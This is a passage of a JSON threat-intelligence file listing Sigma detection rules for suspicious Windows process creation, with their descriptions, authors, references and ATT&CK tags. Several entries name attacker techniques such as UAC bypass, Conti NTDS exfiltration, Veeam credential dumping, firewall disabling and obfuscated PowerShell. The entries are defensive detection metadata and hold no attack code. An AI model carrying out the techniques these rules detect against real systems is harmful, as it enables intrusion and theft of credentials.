"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", "value": "Always Install Elevated Windows Installer" }, { "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", "meta": { "author": "Nextron Systems", "creation_date": "2022/06/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sdiagnhost_susp_child.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://twitter.com/nao_sec/status/1530196847679401984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", "value": "Sdiagnhost Calling Suspicious Child Process" }, { "description": "Detect attacker collecting audio via SoundRecorder application.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate audio capture by legitimate user." ], "filename": "proc_creation_win_soundrec_audio_capture.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" ], "tags": [ "attack.collection", "attack.t1123" ] }, "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", "value": "Audio Capture via SoundRecorder" }, { "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", "meta": { "author": "frack113", "creation_date": "2022/01/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_instalutil.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", "value": "Suspicious Execution of InstallUtil Without Log" }, { "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], "filename": "proc_creation_win_user_discovery_get_aduser.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "1114e048-b69c-4f41-bc20-657245ae6e3f", "value": "User Discovery And Export Via Get-ADUser Cmdlet" }, { "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", "meta": { "author": "FPT.EagleEye Team, wagga", "creation_date": "2020/12/11", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" ], "tags": [ "attack.t1505.003", "attack.t1190", "attack.initial_access", "attack.persistence", "attack.privilege_escalation" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", "value": "Suspicious Shells Spawn by SQL Server" }, { "description": "Detects specific combinations of encoding methods in the PowerShell command lines", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", "creation_date": "2022/07/06", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", "value": "Suspicious Xor PowerShell Command Line" }, { "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", "value": "UAC Bypass Using MSConfig Token Modification - Process" }, { "description": "Detects the execution of AdvancedRun utility", "meta": { "author": "Florian Roth", "creation_date": "2022/01/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_advancedrun.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", "https://twitter.com/splinter_code/status/1483815103279603714", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" ], "tags": "No established tags" }, "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", "value": "Suspicious AdvancedRun Execution" }, { "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/14", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_new_service_creation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", "value": "Suspicious New Service Creation" }, { "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", "meta": { "author": "Florian Roth", "creation_date": "2022/02/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", "value": "Script Interpreter Execution From Suspicious Folder" }, { "description": "Detects the PowerShell command lines with reversed strings", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", "creation_date": "2020/10/11", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", "value": "Suspicious PowerShell Cmdline" }, { "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hh_chm_http.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.001" ] }, "related": [ { "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", "value": "HH.exe Remote CHM File Execution" }, { "description": "Detects a command used by conti to exfiltrate NTDS", "meta": { "author": "Max Altgelt, Tobias Michalski", "creation_date": "2021/08/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_conti_7zip.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" ], "tags": [ "attack.collection", "attack.t1560" ] }, "related": [ { "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", "value": "Conti NTDS Exfiltration Command" }, { "description": "Detects attempts to disable the Windows Firewall using PowerShell", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/14", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", "value": "Windows Firewall Disabled via PowerShell" }, { "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_var.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", "value": "Invoke-Obfuscation VAR+ Launcher" }, { "description": "Detects a suspicious svchost process start", "meta": { "author": "Florian Roth", "creation_date": "2017/08/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_svchost.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.005" ] }, "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", "value": "Suspicious Svchost Process" }, { "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", "meta": { "author": "Nasreddine Bencherchali @nas_bench", "creation_date": "2021/12/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c6c56ada-612b-42d1-9a29-adad3c5c2c1e", "value": "Suspicious NT Resource Kit Auditpol Usage" }, { "description": "Detects code execution via the Windows Update client (wuauclt)", "meta": { "author": "FPT.EagleEye Team", "creation_date": "2020/10/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_wuauclt.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://dtm.uk/wuauclt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" ], "tags": [ "attack.command_and_control", "attack.execution", "attack.t1105", "attack.t1218" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", "value": "Windows Update Client LOLBIN" }, { "description": "Detects usage of the Sharp Chisel via the commandline arguments", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_sharp_chisel_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", "https://github.com/shantanu561993/SharpChisel", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1090.001" ] }, "related": [ { "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", "value": "SharpChisel Usage" }, { "description": "Detects the import of the specified file to the registry with regedit.exe.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Legitimate import of keys", "Evernote" ], "filename": "proc_creation_win_regedit_import_keys.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" ], "tags": [ "attack.t1112", "attack.defense_evasion" ] }, "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", "value": "Imports Registry Key From a File" }, { "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", "meta": { "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", "creation_date": "2019/02/22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_mshta_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://blog.sevagas.com/?Hacking-around-HTA-files", "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", "https://twitter.com/mattifestation/status/1326228491302563846", "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140", "attack.t1218.005", "attack.execution", "attack.t1059.007", "cve.2020.1599" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", "value": "MSHTA Suspicious Execution 01" }, { "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_public_folder_parent.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blackbyte-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" ], "tags": "No established tags" }, "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", "value": "Parent in Public Folder Suspicious Process" }, { "description": "Detects the use of SharpUp, a tool for local privilege escalation", "meta": { "author": "Florian Roth", "creation_date": "2022/08/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sharpup.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/SharpUp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1615", "attack.t1569.002", "attack.t1574.005" ] }, "related": [ { "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "70d81154-b187-45f9-8ec5-295d01255979", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", "value": "SharpUp PrivEsc Tool" }, { "description": "Detects dump of credentials in VeeamBackup dbo", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", "https://thedfirreport.com/2021/12/13/diavol-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" ], "tags": [ "attack.collection", "attack.t1005" ] }, "related": [ { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", "value": "VeeamBackup Database Credentials Dump" }, { "description": "Uninstall an application with wmic", "meta": { "author": "frac113", "creation_date": "2022/01/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_remove_application.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", "value": "WMI Uninstall An Application" }, { "description": "The OpenWith.exe executes other binary", "meta": { "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", "creation_date": "2019/10/12", "falsepositive": [ "Legitimate use of OpenWith.exe by legitimate user" ], "filename": "proc_creation_win_susp_openwith.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", "https://twitter.com/harr0ey/status/991670870384021504", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", "value": "OpenWith.exe Executes Specified Binary" }, { "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/01", "falsepositive": [ "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" ], "filename": "proc_creation_win_net_default_accounts_manipulation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b768e71-86f2-4879-b448-81061cbae951", "value": "Suspicious Manipulation Of Default Accounts" }, { "description": "load malicious registered COM objects", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_rundll32_registered_com_objects.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", "value": "Rundll32 Registered COM Objects" }, { "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_copy_dmp_from_share.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" ], "tags": [ "attack.credential_access" ] }, "uuid": "044ba588-dff4-4918-9808-3f95e8160606", "value": "Copy DMP Files From Share" }, { "description": "Detects suspicious Splwow64.exe process without any command line parameters", "meta": { "author": "Florian Roth", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_splwow64.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", "value": "Suspicious Splwow64 Without Params" }, { "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." ], "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", "value": "Use NTFS Short Name in Command Line" }, { "description": "Detects PowerShell script execution via input stream redirect", "meta": { "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", "creation_date": "2020/10/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", "https://twitter.com/Moriarty_Meng/status/984380793383370752", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", "value": "Run PowerShell Script from Redirected Input Stream" }, { "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/19", 